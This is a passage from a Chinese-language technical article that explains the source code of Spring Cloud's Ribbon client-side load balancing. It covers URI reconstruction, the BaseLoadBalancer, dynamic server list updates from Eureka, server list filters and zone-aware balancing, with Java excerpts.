{\n\n    private final ServiceInstance instance;\n\n    ...\n\n    @Override\n    public URI getURI() {\n        URI uri = LoadBalancerInterceptor.this.loadBalancer.reconstructURI(\n                this.instance, getRequest().getURI());\n        return uri;\n    }\n}\n```\n\n在`LoadBalancerInterceptor`拦截器中，`ClientHttpRequestExecution`的实例具体执行`execution.execute(serviceRequest, body)`时，会调用`InterceptingClientHttpRequest`下`InterceptingRequestExecution`类的`execute`函数，具体实现如下：\n\n```\npublic ClientHttpResponse execute(HttpRequest request, byte[] body) throws IOException {\n    if (this.iterator.hasNext()) {\n        ClientHttpRequestInterceptor nextInterceptor = this.iterator.next();\n        return nextInterceptor.intercept(request, body, this);\n    }\n    else {\n        ClientHttpRequest delegate = requestFactory.createRequest(request.getURI(), request.getMethod());\n        delegate.getHeaders().putAll(request.getHeaders());\n        if (body.length > 0) {\n            StreamUtils.copy(body, delegate.getBody());\n        }\n        return delegate.execute();\n    }\n}\n```\n\n可以看到在创建请求的时候`requestFactory.createRequest(request.getURI(), request.getMethod());`，这里`request.getURI()`会调用之前介绍的`ServiceRequestWrapper`对象中重写的`getURI`函数。此时，它就会使用`RibbonLoadBalancerClient`中实现的`reconstructURI`来组织具体请求的服务实例地址。\n\n```\npublic URI reconstructURI(ServiceInstance instance, URI original) {\n    Assert.notNull(instance, \"instance can not be null\");\n    String serviceId = instance.getServiceId();\n    RibbonLoadBalancerContext context = this.clientFactory\n            .getLoadBalancerContext(serviceId);\n    Server server = new Server(instance.getHost(), instance.getPort());\n    boolean secure = isSecure(server, serviceId);\n    URI uri = original;\n    if (secure) {\n        uri = UriComponentsBuilder.fromUri(uri).scheme(\"https\").build().toUri();\n    }\n    return context.reconstructURIWithServer(server, uri);\n}\n```\n\n从`reconstructURI`函数中，我们可以看到，它通过`ServiceInstance`实例对象的`serviceId`，从`SpringClientFactory`类的`clientFactory`对象中获取对应`serviceId`的负载均衡器的上下文`RibbonLoadBalancerContext`对象。然后根据`ServiceInstance`中的信息来构建具体服务实例信息的`Server`对象，并使用`RibbonLoadBalancerContext`对象的`reconstructURIWithServer`函数来构建服务实例的URI。\n\n为了帮助理解，简单介绍一下上面提到的`SpringClientFactory`和`RibbonLoadBalancerContext`：\n\n- `SpringClientFactory`类是一个用来创建客户端负载均衡器的工厂类，该工厂会为每一个不同名的ribbon客户端生成不同的Spring上下文。\n- `RibbonLoadBalancerContext`类是`LoadBalancerContext`的子类，该类用于存储一些被负载均衡器使用的上下文内容和Api操作（`reconstructURIWithServer`就是其中之一）。\n\n从`reconstructURIWithServer`的实现中我们可以看到，它同`reconstructURI`的定义类似。只是`reconstructURI`的第一个保存具体服务实例的参数使用了Spring Cloud定义的`ServiceInstance`，而`reconstructURIWithServer`中使用了Netflix中定义的`Server`，所以在`RibbonLoadBalancerClient`实现`reconstructURI`时候，做了一次转换，使用`ServiceInstance`的host和port信息来构建了一个`Server`对象来给`reconstructURIWithServer`使用。从`reconstructURIWithServer`的实现逻辑中，我们可以看到，它从`Server`对象中获取host和port信息，然后根据以服务名为host的`URI`对象original中获取其他请求信息，将两者内容进行拼接整合，形成最终要访问的服务实例的具体地址。\n\n```\npublic class LoadBalancerContext implements IClientConfigAware {\n\n    ...\n\n    public URI reconstructURIWithServer(Server server, URI original) {\n        String host = server.getHost();\n        int port = server .getPort();\n        if (host.equals(original.getHost())\n                && port == original.getPort()) {\n            return original;\n        }\n        String scheme = original.getScheme();\n        if (scheme == null) {\n            scheme = deriveSchemeAndPortFromPartialUri(original).first();\n        }\n\n        try {\n            StringBuilder sb = new StringBuilder();\n            sb.append(scheme).append(\"://\");\n            if (!Strings.isNullOrEmpty(original.getRawUserInfo())) {\n                sb.append(original.getRawUserInfo()).append(\"@\");\n            }\n            sb.append(host);\n            if (port >= 0) {\n                sb.append(\":\").append(port);\n            }\n            sb.append(original.getRawPath());\n            if (!Strings.isNullOrEmpty(original.getRawQuery())) {\n                sb.append(\"?\").append(original.getRawQuery());\n            }\n            if (!Strings.isNullOrEmpty(original.getRawFragment())) {\n                sb.append(\"#\").append(original.getRawFragment());\n            }\n            URI newURI = new URI(sb.toString());\n            return newURI;\n        } catch (URISyntaxException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    ...\n}\n```\n\n另外，从`RibbonLoadBalancerClient`的`execute`的函数逻辑中，我们还能看到在回调拦截器中，执行具体的请求之后，ribbon还通过`RibbonStatsRecorder`对象对服务的请求还进行了跟踪记录，这里不再展开说明，有兴趣的读者可以继续研究。\n\n分析到这里，我们已经可以大致理清Spring Cloud中使用Ribbon实现客户端负载均衡的基本脉络。了解了它是如何通过`LoadBalancerInterceptor`拦截器对`RestTemplate`的请求进行拦截，并利用Spring Cloud的负载均衡器`LoadBalancerClient`将以逻辑服务名为host的URI转换成具体的服务实例的过程。同时通过分析`LoadBalancerClient`的Ribbon实现`RibbonLoadBalancerClient`，可以知道在使用Ribbon实现负载均衡器的时候，实际使用的还是Ribbon中定义的`ILoadBalancer`接口的实现，自动化配置会采用`ZoneAwareLoadBalancer`的实例来进行客户端负载均衡实现。\n\n## 负载均衡器\n\n通过之前的分析，我们已经对Spring Cloud如何使用Ribbon有了基本的了解。虽然Spring Cloud中定义了`LoadBalancerClient`为负载均衡器的接口，并且针对Ribbon实现了`RibbonLoadBalancerClient`，但是它在具体实现客户端负载均衡时，则是通过Ribbon的`ILoadBalancer`接口实现。在上一节分析时候，我们对该接口的实现结构已经做了一些简单的介绍，下面我们根据`ILoadBalancer`接口的实现类逐个看看它都是如何实现客户端负载均衡的。\n\n### AbstractLoadBalancer\n\n`AbstractLoadBalancer`是`ILoadBalancer`接口的抽象实现。在该抽象类中定义了一个关于服务实例的分组枚举类`ServerGroup`，它包含了三种不同类型：ALL-所有服务实例、STATUS_UP-正常服务的实例、STATUS_NOT_UP-停止服务的实例；实现了一个`chooseServer()`函数，该函数通过调用接口中的`chooseServer(Object key)`实现，其中参数`key`为null，表示在选择具体服务实例时忽略`key`的条件判断；最后还定义了两个抽象函数，`getServerList(ServerGroup serverGroup)`定义了根据分组类型来获取不同的服务实例列表，`getLoadBalancerStats()`定义了获取`LoadBalancerStats`对象的方法，`LoadBalancerStats`对象被用来存储负载均衡器中各个服务实例当前的属性和统计信息，这些信息非常有用，我们可以利用这些信息来观察负载均衡器的运行情况，同时这些信息也是用来制定负载均衡策略的重要依据。\n\n```\npublic abstract class AbstractLoadBalancer implements ILoadBalancer {\n\n    public enum ServerGroup{\n        ALL,\n        STATUS_UP,\n        STATUS_NOT_UP\n    }\n\n    public Server chooseServer() {\n        return chooseServer(null);\n    }\n\n    public abstract List<Server> getServerList(ServerGroup serverGroup);\n\n    public abstract LoadBalancerStats getLoadBalancerStats();\n}\n```\n\n\n\n### BaseLoadBalancer\n\n`BaseLoadBalancer`类是Ribbon负载均衡器的基础实现类，在该类中定义很多关于均衡负载器相关的基础内容：\n\n- 定义并维护了两个存储服务实例`Server`对象的列表。一个用于存储所有服务实例的清单，一个用于存储正常服务的实例清单。\n\n  ```\n  @Monitor(name = PREFIX + \"AllServerList\", type = DataSourceType.INFORMATIONAL)\n  protected volatile List<Server> allServerList = Collections\n          .synchronizedList(new ArrayList<Server>());\n  @Monitor(name = PREFIX + \"UpServerList\", type = DataSourceType.INFORMATIONAL)\n  protected volatile List<Server> upServerList = Collections\n          .synchronizedList(new ArrayList<Server>());\n  ```\n\n- 定义了之前我们提到的用来存储负载均衡器各服务实例属性和统计信息的`LoadBalancerStats`对象。\n\n- 定义了检查服务实例是否正常服务的`IPing`对象，在`BaseLoadBalancer`中默认为null，需要在构造时注入它的具体实现。\n\n- 定义了检查服务实例操作的执行策略对象`IPingStrategy`，在`BaseLoadBalancer`中默认使用了该类中定义的静态内部类`SerialPingStrategy`实现。根据源码，我们可以看到该策略采用线性遍历ping服务实例的方式实现检查。该策略在当我们实现的`IPing`速度不理想，或是`Server`列表过大时，可能变的不是很为理想，这时候我们需要通过实现`IPingStrategy`接口并实现`pingServers(IPing ping, Server[] servers)`函数去扩展ping的执行策略。\n\n```\nprivate static class SerialPingStrategy implements IPingStrategy {\n    @Override\n    public boolean[] pingServers(IPing ping, Server[] servers) {\n        int numCandidates = servers.length;\n        boolean[] results = new boolean[numCandidates];\n\n        if (logger.isDebugEnabled()) {\n            logger.debug(\"LoadBalancer:  PingTask executing [\"\n                         + numCandidates + \"] servers configured\");\n        }\n\n        for (int i = 0; i < numCandidates; i++) {\n            results[i] = false;\n            try {\n                if (ping != null) {\n                    results[i] = ping.isAlive(servers[i]);\n                }\n            } catch (Throwable t) {\n                logger.error(\"Exception while pinging Server:\"\n                             + servers[i], t);\n            }\n        }\n        return results;\n    }\n}\n```\n\n- 定义了负载均衡的处理规则`IRule`对象，从`BaseLoadBalancer`中`chooseServer(Object key)`的实现源码，我们可以知道负载均衡器实际进行服务实例选择任务是委托给了`IRule`实例中的`choose`函数来实现。而在这里，默认初始化了`RoundRobinRule`为`IRule`的实现对象。`RoundRobinRule`实现了最基本且常用的线性负载均衡规则。\n\n```\npublic Server chooseServer(Object key) {\n    if (counter == null) {\n        counter = createCounter();\n    }\n    counter.increment();\n    if (rule == null) {\n        return null;\n    } else {\n        try {\n            return rule.choose(key);\n        } catch (Throwable t) {\n            return null;\n        }\n    }\n}\n```\n\n- 启动ping任务：在`BaseLoadBalancer`的默认构造函数中，会直接启动一个用于定时检查`Server`是否健康的任务。该任务默认的执行间隔为：10秒。\n\n- 实现了`ILoadBalancer`接口定义的负载均衡器应具备的一系列基本操作：\n\n  - `addServers(List newServers)`：向负载均衡器中增加新的服务实例列表，该实现将原本已经维护着的所有服务实例清单`allServerList`和新传入的服务实例清单`newServers`都加入到`newList`中，然后通过调用`setServersList`函数对`newList`进行处理，在`BaseLoadBalancer`中实现的时候会使用新的列表覆盖旧的列表。而之后介绍的几个扩展实现类对于服务实例清单更新的优化都是对`setServersList`函数的重写来实现的。\n\n    ```\n    public void addServers(List<Server> newServers) {\n        if (newServers != null && newServers.size() > 0) {\n            try {\n                ArrayList<Server> newList = new ArrayList<Server>();\n                newList.addAll(allServerList);\n                newList.addAll(newServers);\n                setServersList(newList);\n            } catch (Exception e) {\n                logger.error(\"Exception while adding Servers\", e);\n            }\n        }\n    }\n    ```\n\n  - `chooseServer(Object key)`：挑选一个具体的服务实例，在上面介绍`IRule`的时候，已经做了说明，这里不再赘述。\n\n  - `markServerDown(Server server)`：标记某个服务实例暂停服务。\n\n    ```\n    public void markServerDown(Server server) {\n        if (server == null) {\n            return;\n        }\n        if (!server.isAlive()) {\n            return;\n        }\n        logger.error(\"LoadBalancer:  markServerDown called on [\"\n                + server.getId() + \"]\");\n        server.setAlive(false);\n        notifyServerStatusChangeListener(singleton(server));\n    }\n    ```\n\n  - `getReachableServers()`：获取可用的服务实例列表。由于`BaseLoadBalancer`中单独维护了一个正常服务的实例清单，所以直接返回即可。\n\n    ```\n    public List<Server> getReachableServers() {\n        return Collections.unmodifiableList(upServerList);\n    }\n    ```\n\n  - `getAllServers()`：获取所有的服务实例列表。由于`BaseLoadBalancer`中单独维护了一个所有服务的实例清单，所以也直接返回它即可。\n\n    ```\n    public List<Server> getAllServers() {\n        return Collections.unmodifiableList(allServerList);\n    }\n    ```\n\n### DynamicServerListLoadBalancer\n\n`DynamicServerListLoadBalancer`类继承于`BaseLoadBalancer`类，它是对基础负载均衡器的扩展。在该负载均衡器中，实现了服务实例清单的在运行期的动态更新能力；同时，它还具备了对服务实例清单的过滤功能，也就是说我们可以通过过滤器来选择性的获取一批服务实例清单。下面我们具体来看看在该类中增加了一些什么内容：\n\n#### ServerList\n\n从`DynamicServerListLoadBalancer`的成员定义中，我们马上可以发现新增了一个关于服务列表的操作对象：`ServerList serverListImpl`。其中泛型`T`从类名中对于T的限定`DynamicServerListLoadBalancer`可以获知它是一个`Server`的子类，即代表了一个具体的服务实例的扩展类。而`ServerList`接口定义如下所示：\n\n```\npublic interface ServerList<T extends Server> {\n\n    public List<T> getInitialListOfServers();\n\n    public List<T> getUpdatedListOfServers();\n}\n```\n\n它定义了两个抽象方法：`getInitialListOfServers`用于获取初始化的服务实例清单，而`getUpdatedListOfServers`用于获取更新的服务实例清单。那么该接口的实现有哪些呢？通过搜索源码，我们可以整出如下图的结构：\n\n[![img](https://blog.didispace.com/assets/ribbon-code-3.png)](https://blog.didispace.com/assets/ribbon-code-3.png)\n\n从图中我们可以看到有很多个`ServerList`的实现类，那么在`DynamicServerListLoadBalancer`中的`ServerList`默认配置到底使用了哪个具体实现呢？既然在该负载均衡器中需要实现服务实例的动态更新，那么势必需要ribbon具备访问eureka来获取服务实例的能力，所以我们从Spring Cloud整合ribbon与eureka的包`org.springframework.cloud.netflix.ribbon.eureka`下探索，可以找到配置类`EurekaRibbonClientConfiguration`，在该类中可以找到看到下面创建`ServerList`实例的内容：\n\n```\n@Bean\n@ConditionalOnMissingBean\npublic ServerList<?> ribbonServerList(IClientConfig config) {\n    DiscoveryEnabledNIWSServerList discoveryServerList = new DiscoveryEnabledNIWSServerList(\n            config);\n    DomainExtractingServerList serverList = new DomainExtractingServerList(\n            discoveryServerList, config, this.approximateZoneFromHostname);\n    return serverList;\n}\n```\n\n可以看到，这里创建的是一个`DomainExtractingServerList`实例，从下面它的源码中我们可以看到在它内部还定义了一个`ServerList list`。同时，`DomainExtractingServerList`类中对`getInitialListOfServers`和`getUpdatedListOfServers`的具体实现，其实委托给了内部定义的`ServerList list`对象，而该对象是通过创建`DomainExtractingServerList`时候，由构造函数传入的`DiscoveryEnabledNIWSServerList`实现的。\n\n```\npublic class DomainExtractingServerList implements ServerList<DiscoveryEnabledServer> {\n\n    private ServerList<DiscoveryEnabledServer> list;\n    private IClientConfig clientConfig;\n    private boolean approximateZoneFromHostname;\n\n    public DomainExtractingServerList(ServerList<DiscoveryEnabledServer> list,\n            IClientConfig clientConfig, boolean approximateZoneFromHostname) {\n        this.list = list;\n        this.clientConfig = clientConfig;\n        this.approximateZoneFromHostname = approximateZoneFromHostname;\n    }\n\n    @Override\n    public List<DiscoveryEnabledServer> getInitialListOfServers() {\n        List<DiscoveryEnabledServer> servers = setZones(this.list\n                .getInitialListOfServers());\n        return servers;\n    }\n\n    @Override\n    public List<DiscoveryEnabledServer> getUpdatedListOfServers() {\n        List<DiscoveryEnabledServer> servers = setZones(this.list\n                .getUpdatedListOfServers());\n        return servers;\n    }\n    ...\n}\n```\n\n那么`DiscoveryEnabledNIWSServerList`是如何实现这两个服务实例的获取的呢？我们从源码中可以看到这两个方法都是通过该类中的一个私有函数`obtainServersViaDiscovery`来通过服务发现机制来实现服务实例的获取。\n\n```\n@Override\npublic List<DiscoveryEnabledServer> getInitialListOfServers(){\n    return obtainServersViaDiscovery();\n}\n\n@Override\npublic List<DiscoveryEnabledServer> getUpdatedListOfServers(){\n    return obtainServersViaDiscovery();\n}\n```\n\n而`obtainServersViaDiscovery`的实现逻辑如下，主要依靠`EurekaClient`从服务注册中心中获取到具体的服务实例`InstanceInfo`列表（`EurekaClient`的具体实现，我们在分析Eureka的源码时已经做了详细的介绍，这里传入的`vipAddress`可以理解为逻辑上的服务名，比如“USER-SERVICE”）。接着，对这些服务实例进行遍历，将状态为“UP”（正常服务）的实例转换成`DiscoveryEnabledServer`对象，最后将这些实例组织成列表返回。\n\n```\nprivate List<DiscoveryEnabledServer> obtainServersViaDiscovery() {\n    List<DiscoveryEnabledServer> serverList = new ArrayList<DiscoveryEnabledServer>();\n\n    if (eurekaClientProvider == null || eurekaClientProvider.get() == null) {\n        logger.warn(\"EurekaClient has not been initialized yet, returning an empty list\");\n        return new ArrayList<DiscoveryEnabledServer>();\n    }\n\n    EurekaClient eurekaClient = eurekaClientProvider.get();\n    if (vipAddresses!=null){\n        for (String vipAddress : vipAddresses.split(\",\")) {\n            List<InstanceInfo> listOfInstanceInfo = eurekaClient.getInstancesByVipAddress(\n                        vipAddress, isSecure, targetRegion);\n            for (InstanceInfo ii : listOfInstanceInfo) {\n                if (ii.getStatus().equals(InstanceStatus.UP)) {\n                    // 省略了一些实例信息的加工逻辑\n                    DiscoveryEnabledServer des = new DiscoveryEnabledServer(ii, isSecure, shouldUseIpAddr);\n                    des.setZone(DiscoveryClient.getZone(ii));\n                    serverList.add(des);\n                }\n            }\n            if (serverList.size()>0 && prioritizeVipAddressBasedServers){\n                break;\n            }\n        }\n    }\n    return serverList;\n}\n```\n\n在`DiscoveryEnabledNIWSServerList`中通过`EurekaClient`从服务注册中心获取到最新的服务实例清单后，返回的`List`到了`DomainExtractingServerList`类中，将继续通过`setZones`函数进行处理，而这里的处理具体内容如下，主要完成将`DiscoveryEnabledNIWSServerList`返回的`List`列表中的元素，转换成内部定义的`DiscoveryEnabledServer`的子类对象`DomainExtractingServer`，在该对象的构造函数中将为服务实例对象设置一些必要的属性，比如id、zone、isAliveFlag、readyToServe等信息。\n\n```\nprivate List<DiscoveryEnabledServer> setZones(List<DiscoveryEnabledServer> servers) {\n    List<DiscoveryEnabledServer> result = new ArrayList<>();\n    boolean isSecure = this.clientConfig.getPropertyAsBoolean(\n            CommonClientConfigKey.IsSecure, Boolean.TRUE);\n    boolean shouldUseIpAddr = this.clientConfig.getPropertyAsBoolean(\n            CommonClientConfigKey.UseIPAddrForServer, Boolean.FALSE);\n    for (DiscoveryEnabledServer server : servers) {\n        result.add(new DomainExtractingServer(server, isSecure, shouldUseIpAddr,\n                this.approximateZoneFromHostname));\n    }\n    return result;\n}\n```\n\n###### ServerListUpdater\n\n通过上面的分析我们已经知道了Ribbon与Eureka整合后，如何实现从Eureka Server中获取服务实例清单。那么它又是如何触发向Eureka Server去获取服务实例清单以及如何在获取到服务实例清单后更新本地的服务实例清单的呢？继续来看`DynamicServerListLoadBalancer`中的实现内容，我们可以很容易的找到下面定义的关于`ServerListUpdater`的内容：\n\n```\nprotected final ServerListUpdater.UpdateAction updateAction = new ServerListUpdater.UpdateAction() {\n    @Override\n    public void doUpdate() {\n        updateListOfServers();\n    }\n};\n\nprotected volatile ServerListUpdater serverListUpdater;\n```\n\n根据该接口的命名，我们基本就能猜到，这个对象实现的是对`ServerList`的更新，所以可以称它为“服务更新器”，从下面的源码中可以看到，在`ServerListUpdater`内部还定义了一个`UpdateAction`接口，上面定义的`updateAction`对象就是以匿名内部类的方式创建了一个它的具体实现，其中`doUpdate`实现的内容就是对`ServerList`的具体更新操作。除此之外，“服务更新器”中还定义了一系列控制它和获取它一些信息的操作。\n\n```\npublic interface ServerListUpdater {\n\n    public interface UpdateAction {\n        void doUpdate();\n    }\n\n    // 启动服务更新器，传入的UpdateAction对象为更新操作的具体实现。\n    void start(UpdateAction updateAction);\n\n    // 停止服务更新器\n    void stop();\n\n    // 获取最近的更新时间戳\n    String getLastUpdate();\n\n    // 获取上一次更新到现在的时间间隔，单位为毫秒\n    long getDurationSinceLastUpdateMs();\n\n    // 获取错过的更新周期数\n    int getNumberMissedCycles();\n\n    // 获取核心线程数\n    int getCoreThreads();\n}\n```\n\n而`ServerListUpdater`的实现类不多，具体下图所示。\n\n[![img](https://blog.didispace.com/assets/ribbon-code-4.png)](https://blog.didispace.com/assets/ribbon-code-4.png)\n\n根据两个类的注释，我们可以很容易的知道它们的作用分别是：\n\n- `PollingServerListUpdater`：动态服务列表更新的默认策略，也就是说`DynamicServerListLoadBalancer`负载均衡器中的默认实现就是它，它通过定时任务的方式进行服务列表的更新。\n- `EurekaNotificationServerListUpdater`：该更新器也可服务于`DynamicServerListLoadBalancer`负载均衡器，但是它的触发机制与`PollingServerListUpdater`不同，它需要利用Eureka的事件监听器来驱动服务列表的更新操作。\n\n下面我们来详细看看它默认实现的`PollingServerListUpdater`。先从用于启动“服务更新器”的`start`函数源码看起，具体如下。我们可以看到`start`函数的实现内容验证了之前提到的：以定时任务的方式进行服务列表的更新。它先创建了一个`Runnable`的线程实现，在该实现中调用了上面提到的具体更新服务实例列表的方法`updateAction.doUpdate()`，最后再为这个`Runnable`的线程实现启动了一个定时任务来执行。\n\n```\n@Override\npublic synchronized void start(final UpdateAction updateAction) {\n    if (isActive.compareAndSet(false, true)) {\n        final Runnable wrapperRunnable = new Runnable() {\n            @Override\n            public void run() {\n                if (!isActive.get()) {\n                    if (scheduledFuture != null) {\n                        scheduledFuture.cancel(true);\n                    }\n                    return;\n                }\n                try {\n                    updateAction.doUpdate();\n                    lastUpdated = System.currentTimeMillis();\n                } catch (Exception e) {\n                    logger.warn(\"Failed one update cycle\", e);\n                }\n            }\n        };\n\n        scheduledFuture = getRefreshExecutor().scheduleWithFixedDelay(\n                wrapperRunnable,\n                initialDelayMs,\n                refreshIntervalMs,\n                TimeUnit.MILLISECONDS\n        );\n    } else {\n        logger.info(\"Already active, no-op\");\n    }\n}\n```\n\n继续看`PollingServerListUpdater`的其他内容，我们可以找到用于启动定时任务的2个重要参数`initialDelayMs`和`refreshIntervalMs`的默认定义分别为1000和30*1000，单位为毫秒。也就是说更新服务实例在初始化之后延迟1秒后开始执行，并以30秒为周期重复执行。除了这些内容之外，我们还能看到它还会记录最后更新时间、是否存活等信息，同时也实现了`ServerListUpdater`中定义的一些其他操作内容，这些操作相对比较简单，这里不再具体说明，有兴趣的读者可以自己查看源码了解其实现原理。\n\n#### ServerListFilter\n\n在了解了更新服务实例的定时任务是如何启动的之后，我们继续回到`updateAction.doUpdate()`调用的具体实现位置，在`DynamicServerListLoadBalancer`中，它的实际实现委托给了`updateListOfServers`函数，具体实现如下：\n\n```\npublic void updateListOfServers() {\n    List<T> servers = new ArrayList<T>();\n    if (serverListImpl != null) {\n        servers = serverListImpl.getUpdatedListOfServers();\n        LOGGER.debug(\"List of Servers for {} obtained from Discovery client: {}\",\n                getIdentifier(), servers);\n\n        if (filter != null) {\n            servers = filter.getFilteredListOfServers(servers);\n            LOGGER.debug(\"Filtered List of Servers for {} obtained from Discovery client: {}\",\n                    getIdentifier(), servers);\n        }\n    }\n    updateAllServerList(servers);\n}\n```\n\n可以看到，这里终于用到了我们之前提到的`ServerList`的`getUpdatedListOfServers`，通过之前的介绍我们已经可以知道这一步实现了从Eureka Server中获取服务可用实例的列表。在获得了服务实例列表之后，这里又将引入一个新的对象`filter`，追朔该对象的定义，我们可以找到它是`ServerListFilter`定义的。\n\n`ServerListFilter`接口非常简单，该接口中之定义了一个方法`List getFilteredListOfServers(List servers)`，主要用于实现对服务实例列表的过滤，通过传入的服务实例清单，根据一些规则返回过滤后的服务实例清单。该接口的实现如下图所示：\n\n[![img](https://blog.didispace.com/assets/ribbon-code-6.png)](https://blog.didispace.com/assets/ribbon-code-6.png)\n\n其中，除了`ZonePreferenceServerListFilter`的实现是Spring Cloud Netflix中对Ribbon的扩展实现外，其他均是Netflix Ribbon中的实现类。我们可以分别看看这些过滤器实现都有什么特点：\n\n- `AbstractServerListFilter`：这是一个抽象过滤器，在这里定义了过滤时需要的一个重要依据对象`LoadBalancerStats`，我们在之前介绍过的，该对象存储了关于负载均衡器的一些属性和统计信息等。\n\n```\npublic abstract class AbstractServerListFilter<T extends Server> implements ServerListFilter<T> {\n\n    private volatile LoadBalancerStats stats;\n\n    public void setLoadBalancerStats(LoadBalancerStats stats) {\n        this.stats = stats;\n    }\n\n    public LoadBalancerStats getLoadBalancerStats() {\n        return stats;\n    }\n}\n```\n\n- `ZoneAffinityServerListFilter`：该过滤器基于“区域感知（Zone Affinity）”的方式实现服务实例的过滤，也就是说它会根据提供服务的实例所处区域（Zone）与消费者自身的所处区域（Zone）进行比较，过滤掉那些不是同处一个区域的实例。\n\n```\npublic List<T> getFilteredListOfServers(List<T> servers) {\n    if (zone != null && (zoneAffinity || zoneExclusive) && servers !=null && servers.size() > 0){\n        List<T> filteredServers = Lists.newArrayList(Iterables.filter(\n                servers, this.zoneAffinityPredicate.getServerOnlyPredicate()));\n        if (shouldEnableZoneAffinity(filteredServers)) {\n            return filteredServers;\n        } else if (zoneAffinity) {\n            overrideCounter.increment();\n        }\n    }\n    return servers;\n}\n```\n\n从上面的源码中我们可以看到，对于服务实例列表的过滤是通过`Iterables.filter(servers, this.zoneAffinityPredicate.getServerOnlyPredicate())`来实现的，其中判断依据由`ZoneAffinityPredicate`实现服务实例与消费者的Zone比较。而在过滤之后，这里并不会马上返回过滤的结果，而是通过`shouldEnableZoneAffinity`函数来判断是否要启用“区域感知”的功能，从下面`shouldEnableZoneAffinity`的实现中，我们可以看到，它使用了`LoadBalancerStats`的`getZoneSnapshot`方法来获取这些过滤后的同区域实例的基础指标（包含了：实例数量、断路器断开数、活动请求数、实例平均负载等），根据一系列的算法求出下面的几个评价值并与设置的阈值对比（下面的为默认值），若有一个条件符合，就不启用“区域感知”过滤的服务实例清单。这一算法实现对于集群出现区域故障时，依然可以依靠其他区域的实例进行正常服务提供了完善的高可用保障。同时，通过这里的介绍，我们也可以关联着来理解之前介绍Eureka的时候提到的对于区域分配设计来保证跨区域故障的高可用问题。\n\n- blackOutServerPercentage：故障实例百分比（断路器断开数 / 实例数量） >= 0.8\n- activeReqeustsPerServer：实例平均负载 >= 0.6\n- availableServers：可用实例数（实例数量 - 断路器断开数） < 2\n\n```\nprivate boolean shouldEnableZoneAffinity(List<T> filtered) {\n    if (!zoneAffinity && !zoneExclusive) {\n        return false;\n    }\n    if (zoneExclusive) {\n        return true;\n    }\n    LoadBalancerStats stats = getLoadBalancerStats();\n    if (stats == null) {\n        return zoneAffinity;\n    } else {\n        logger.debug(\"Determining if zone affinity should be enabled with given server list: {}\", filtered);\n        ZoneSnapshot snapshot = stats.getZoneSnapshot(filtered);\n        double loadPerServer = snapshot.getLoadPerServer();\n        int instanceCount = snapshot.getInstanceCount();\n        int circuitBreakerTrippedCount = snapshot.getCircuitTrippedCount();\n        if (((double) circuitBreakerTrippedCount) / instanceCount >= blackOutServerPercentageThreshold.get()\n            || loadPerServer >= activeReqeustsPerServerThreshold.get()\n            || (instanceCount - circuitBreakerTrippedCount) < availableServersThreshold.get()) {\n            logger.debug(\"zoneAffinity is overriden. blackOutServerPercentage: {}, activeReqeustsPerServer: {}, availableServers: {}\",\n            new Object[] {(double) circuitBreakerTrippedCount / instanceCount,  loadPerServer, instanceCount - circuitBreakerTrippedCount});\n            return false;\n        } else {\n            return true;\n        }\n    }\n}\n```\n\n- `DefaultNIWSServerListFilter`：该过滤器完全继承自`ZoneAffinityServerListFilter`，是默认的NIWS（Netflix Internal Web Service）过滤器。\n- `ServerListSubsetFilter`：该过滤器也继承自`ZoneAffinityServerListFilter`，它非常适用于拥有大规模服务器集群(上百或更多)的系统。因为它可以产生一个“区域感知”结果的子集列表，同时它还能够通过比较服务实例的通信失败数量和并发连接数来判定该服务是否健康来选择性的从服务实例列表中剔除那些相对不够健康的实例。该过滤器的实现主要分为三步：\n  1. 获取“区域感知”的过滤结果，来作为候选的服务实例清单\n  2. 从当前消费者维护的服务实例子集中剔除那些相对不够健康的实例（同时也将这些实例从候选清单中剔除，防止第三步的时候又被选入），不够健康的标准如下：\n     a. 服务实例的并发连接数超过客户端配置的值，默认为`0`，配置参数为：`..ServerListSubsetFilter.eliminationConnectionThresold`\n     b. 服务实例的失败数超过客户端配置的值，默认为`0`，配置参数为：`..ServerListSubsetFilter.eliminationFailureThresold`\n     c. 如果按符合上面任一规则的服务实例剔除后，剔除比例小于客户端默认配置的百分比，默认为`0.1`（10%），配置参数为：`..ServerListSubsetFilter.forceEliminatePercent`。那么就先对剩下的实例列表进行健康排序，再开始从最不健康实例进行剔除，直到达到配置的剔除百分比。\n  3. 在完成剔除后，清单已经少了至少10%（默认值）的服务实例，最后通过随机的方式从候选清单中选出一批实例加入到清单中，以保持服务实例子集与原来的数量一致，而默认的实例子集数量为`20`，其配置参数为：`..ServerListSubsetFilter.size`。\n- `ZonePreferenceServerListFilter`：Spring Cloud整合时新增的过滤器。若使用Spring Cloud整合Eureka和Ribbon时会默认使用该过滤器。它实现了通过配置或者Eureka实例元数据的所属区域（Zone）来过滤出同区域的服务实例。如下面的源码所示，它的实现非常简单，首先通过父类`ZoneAffinityServerListFilter`的过滤器来获得“区域感知”的服务实例列表，然后遍历这个结果取出根据消费者配置预设的区域Zone来进行过滤，如果过滤的结果是空的就直接返回父类获取的结果，如果不为空就返回通过消费者配置的Zone过滤后的结果。\n\n```\n@Override\npublic List<Server> getFilteredListOfServers(List<Server> servers) {\n    List<Server> output = super.getFilteredListOfServers(servers);\n    if (this.zone != null && output.size() == servers.size()) {\n        List<Server> local = new ArrayList<Server>();\n        for (Server server : output) {\n            if (this.zone.equalsIgnoreCase(server.getZone())) {\n                local.add(server);\n            }\n        }\n        if (!local.isEmpty()) {\n            return local;\n        }\n    }\n    return output;\n}\n```\n\n### ZoneAwareLoadBalancer\n\n`ZoneAwareLoadBalancer`负载均衡器是对`DynamicServerListLoadBalancer`的扩展。在`DynamicServerListLoadBalancer`中，我们可以看到它并没有重写选择具体服务实例的`chooseServer`函数，所以它依然会采用在`BaseLoadBalancer`中实现的算法，使用`RoundRobinRule`规则，以线性轮询的方式来选择调用的服务实例，该算法实现简单并没有区域（Zone）的概念，所以它会把所有实例视为一个Zone下的节点来看待，这样就会周期性的产生跨区域（Zone）访问的情况，由于跨区域会产生更高的延迟，这些实例主要以防止区域性故障实现高可用为目的而不能作为常规访问的实例，所以在多区域部署的情况下会有一定的性能问题，而该负载均衡器则可以避免这样的问题。那么它是如何实现的呢？\n\n首先，在`ZoneAwareLoadBalancer`中，我们可以发现，它并没有重写`setServersList`，说明实现服务实例清单的更新主逻辑没有修改。但是我们可以发现它重写了这个函数：`setServerListForZones(Map> zoneServersMap)`。看到这里可能会有一些陌生，因为它并不是接口中定义的必备函数，所以我们不妨去父类`DynamicServerListLoadBalancer`中寻找一下该函数，我们可以找到下面的定义了：\n\n```\npublic void setServersList(List lsrv) {\n    